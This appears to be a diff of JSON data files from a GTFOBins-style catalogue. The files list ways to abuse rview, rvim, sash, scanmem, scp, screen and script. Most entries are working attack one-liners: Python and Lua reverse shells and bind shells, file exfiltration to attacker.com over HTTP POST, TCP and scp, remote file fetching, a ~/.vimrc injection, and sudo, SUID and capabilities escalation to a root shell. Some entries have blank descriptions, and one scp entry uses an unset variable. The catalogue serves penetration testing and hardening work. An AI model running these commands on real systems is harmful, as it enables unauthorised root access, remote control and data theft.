"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
|
|
48
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
|
|
49
49
|
},
|
|
50
50
|
{
|
|
51
|
-
"description": "Fetch a remote file via TCP. Run
|
|
52
|
-
"code": "
|
|
51
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
|
|
52
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
53
53
|
}
|
|
54
54
|
],
|
|
55
55
|
"file-write": [
|
|
56
56
|
{
|
|
57
|
-
|
|
57
|
+
|
|
58
|
+
"code": "rview file_to_write\niDATA\n^[\nw!\n"
|
|
58
59
|
}
|
|
59
60
|
],
|
|
60
61
|
"file-read": [
|
|
61
62
|
{
|
|
62
|
-
|
|
63
|
+
|
|
64
|
+
"code": "rview file_to_read\n"
|
|
63
65
|
}
|
|
64
66
|
],
|
|
65
67
|
"library-load": [
|
|
66
68
|
{
|
|
67
|
-
"description": "This requires that
|
|
68
|
-
"code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
69
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
70
|
+
"code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
|
|
69
71
|
}
|
|
70
72
|
],
|
|
71
73
|
"suid": [
|
|
72
74
|
{
|
|
73
|
-
"description": "This requires that
|
|
74
|
-
"code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
75
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
76
|
+
"code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
|
|
75
77
|
}
|
|
76
78
|
],
|
|
77
79
|
"sudo": [
|
|
78
80
|
{
|
|
79
|
-
"description": "This requires that
|
|
80
|
-
"code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
81
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
82
|
+
"code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
81
83
|
},
|
|
82
84
|
{
|
|
83
|
-
"description": "This requires that
|
|
84
|
-
"code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
85
|
+
"description": "This requires that `rview` is compiled with Lua support.",
|
|
86
|
+
"code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
85
87
|
}
|
|
86
88
|
],
|
|
87
89
|
"capabilities": [
|
|
88
90
|
{
|
|
89
|
-
"description": "This requires that
|
|
90
|
-
"code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
91
|
+
"description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
92
|
+
"code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
91
93
|
}
|
|
92
94
|
],
|
|
93
95
|
"limited-suid": [
|
|
94
96
|
{
|
|
95
|
-
"description": "This requires that
|
|
96
|
-
"code": "./rview -c ':lua os.execute(\"reset; exec sh\")'"
|
|
97
|
+
"description": "This requires that `rview` is compiled with Lua support.",
|
|
98
|
+
"code": "./rview -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
97
99
|
}
|
|
98
100
|
]
|
|
99
101
|
}
|
gtfo/data/rvim.json
CHANGED
|
@@ -2,99 +2,105 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "This requires that
|
|
6
|
-
"code": "rvim -c ':
|
|
5
|
+
"description": "This requires that `rvim` version is `< 9.0.1440`.",
|
|
6
|
+
"code": "rvim -c ':redir! > ~/.vimrc | echo \"!python3 -c \\'import pty; pty.spawn(\\\"/bin/bash\\\")\\'\" | redir END | set shell=/usr/bin/vim | diffpatch'\n"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
|
-
"description": "This requires that
|
|
10
|
-
"code": "rvim -c ':
|
|
9
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
10
|
+
"code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"description": "This requires that `rvim` is compiled with Lua support.",
|
|
14
|
+
"code": "rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
11
15
|
}
|
|
12
16
|
],
|
|
13
17
|
"reverse-shell": [
|
|
14
18
|
{
|
|
15
|
-
"description": "This requires that
|
|
16
|
-
"code": "
|
|
19
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
20
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
17
21
|
}
|
|
18
22
|
],
|
|
19
23
|
"non-interactive-reverse-shell": [
|
|
20
24
|
{
|
|
21
|
-
"description": "Run
|
|
22
|
-
"code": "
|
|
25
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
26
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
23
27
|
}
|
|
24
28
|
],
|
|
25
29
|
"non-interactive-bind-shell": [
|
|
26
30
|
{
|
|
27
|
-
"description": "Run
|
|
28
|
-
"code": "
|
|
31
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
32
|
+
"code": "export LPORT=12345\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
29
33
|
}
|
|
30
34
|
],
|
|
31
35
|
"file-upload": [
|
|
32
36
|
{
|
|
33
|
-
"description": "This requires that
|
|
34
|
-
"code": "
|
|
37
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
38
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
35
39
|
},
|
|
36
40
|
{
|
|
37
|
-
"description": "This requires that
|
|
38
|
-
"code": "
|
|
41
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
|
|
42
|
+
"code": "export LPORT=8888\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
39
43
|
},
|
|
40
44
|
{
|
|
41
|
-
"description": "Send a local file via TCP. Run
|
|
42
|
-
"code": "
|
|
45
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
46
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrvim -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
|
|
43
47
|
}
|
|
44
48
|
],
|
|
45
49
|
"file-download": [
|
|
46
50
|
{
|
|
47
|
-
"description": "This requires that
|
|
48
|
-
"code": "
|
|
51
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
|
|
52
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
|
|
49
53
|
},
|
|
50
54
|
{
|
|
51
|
-
"description": "Fetch a remote file via TCP. Run
|
|
52
|
-
"code": "
|
|
55
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
56
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
53
57
|
}
|
|
54
58
|
],
|
|
55
59
|
"file-write": [
|
|
56
60
|
{
|
|
57
|
-
"
|
|
61
|
+
"description": "",
|
|
62
|
+
"code": "rvim file_to_write\niDATA\n^[\nw\n"
|
|
58
63
|
}
|
|
59
64
|
],
|
|
60
65
|
"file-read": [
|
|
61
66
|
{
|
|
62
|
-
"
|
|
67
|
+
"description": "",
|
|
68
|
+
"code": "rvim file_to_read\n"
|
|
63
69
|
}
|
|
64
70
|
],
|
|
65
71
|
"library-load": [
|
|
66
72
|
{
|
|
67
|
-
"description": "This requires that
|
|
68
|
-
"code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
73
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
74
|
+
"code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
|
|
69
75
|
}
|
|
70
76
|
],
|
|
71
77
|
"suid": [
|
|
72
78
|
{
|
|
73
|
-
"description": "This requires that
|
|
74
|
-
"code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
79
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
80
|
+
"code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
|
|
75
81
|
}
|
|
76
82
|
],
|
|
77
83
|
"sudo": [
|
|
78
84
|
{
|
|
79
|
-
"description": "This requires that
|
|
80
|
-
"code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
85
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
86
|
+
"code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
81
87
|
},
|
|
82
88
|
{
|
|
83
|
-
"description": "This requires that
|
|
84
|
-
"code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
89
|
+
"description": "This requires that `rvim` is compiled with Lua support.",
|
|
90
|
+
"code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
85
91
|
}
|
|
86
92
|
],
|
|
87
93
|
"capabilities": [
|
|
88
94
|
{
|
|
89
|
-
"description": "This requires that
|
|
90
|
-
"code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
95
|
+
"description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
96
|
+
"code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
91
97
|
}
|
|
92
98
|
],
|
|
93
99
|
"limited-suid": [
|
|
94
100
|
{
|
|
95
|
-
"description": "This requires that
|
|
96
|
-
"code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
101
|
+
"description": "This requires that `rvim` is compiled with Lua support.",
|
|
102
|
+
"code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
97
103
|
}
|
|
98
104
|
]
|
|
99
105
|
}
|
|
100
|
-
}
|
|
106
|
+
}
|
gtfo/data/sash.json
CHANGED
|
@@ -2,17 +2,20 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "sash\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
|
-
"
|
|
9
|
+
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "./sash\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
|
-
"
|
|
15
|
+
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo sash\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
gtfo/data/scanmem.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "scanmem\nshell /bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "./scanmem\nshell /bin/sh\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "sudo scanmem\nshell /bin/sh\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/scp.json
CHANGED
|
@@ -2,30 +2,33 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nscp -S $TF x y:\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-upload": [
|
|
9
10
|
{
|
|
10
11
|
"description": "Send local file to a SSH server.",
|
|
11
|
-
"code": "
|
|
12
|
+
"code": "RPATH=user@attacker.com:~/file_to_save\nLPATH=file_to_send\nscp $LFILE $RPATH\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"file-download": [
|
|
15
16
|
{
|
|
16
17
|
"description": "Fetch a remote file from a SSH server.",
|
|
17
|
-
"code": "
|
|
18
|
+
"code": "RPATH=user@attacker.com:~/file_to_get\nLFILE=file_to_save\nscp $RPATH $LFILE\n"
|
|
18
19
|
}
|
|
19
20
|
],
|
|
20
21
|
"sudo": [
|
|
21
22
|
{
|
|
23
|
+
|
|
22
24
|
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n"
|
|
23
25
|
}
|
|
24
26
|
],
|
|
25
27
|
"limited-suid": [
|
|
26
28
|
{
|
|
29
|
+
|
|
27
30
|
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\n./scp -S $TF a b:\n"
|
|
28
31
|
}
|
|
29
32
|
]
|
|
30
33
|
}
|
|
31
|
-
}
|
|
34
|
+
}
|
gtfo/data/screen.json
CHANGED
|
@@ -2,23 +2,25 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "screen\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-write": [
|
|
9
10
|
{
|
|
10
|
-
"description": "This works on screen version 4.06.02. Data is appended to the file and
|
|
11
|
-
"code": "
|
|
11
|
+
"description": "This works on screen version 4.06.02. Data is appended to the file and `\\n` is converted to `\\r\\n`.",
|
|
12
|
+
"code": "LFILE=file_to_write\nscreen -L -Logfile $LFILE echo DATA\n"
|
|
12
13
|
},
|
|
13
14
|
{
|
|
14
|
-
"description": "This works on screen version 4.05.00. Data is appended to the file and
|
|
15
|
-
"code": "
|
|
15
|
+
"description": "This works on screen version 4.05.00. Data is appended to the file and `\\n` is converted to `\\r\\n`.",
|
|
16
|
+
"code": "LFILE=file_to_write\nscreen -L $LFILE echo DATA\n"
|
|
16
17
|
}
|
|
17
18
|
],
|
|
18
19
|
"sudo": [
|
|
19
20
|
{
|
|
20
|
-
|
|
21
|
+
|
|
22
|
+
"code": "sudo screen\n"
|
|
21
23
|
}
|
|
22
24
|
]
|
|
23
25
|
}
|
|
24
|
-
}
|
|
26
|
+
}
|
gtfo/data/script.json
CHANGED
|
@@ -2,19 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "script -q /dev/null\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "sudo script -q /dev/null\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"file-write": [
|
|
14
16
|
{
|
|
15
17
|
"description": "The wrote content is corrupted by debug prints.",
|
|
16
|
-
"code": "script -q -c 'echo DATA'
|
|
18
|
+
"code": "script -q -c 'echo DATA' file_to_write\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/scrot.json
ADDED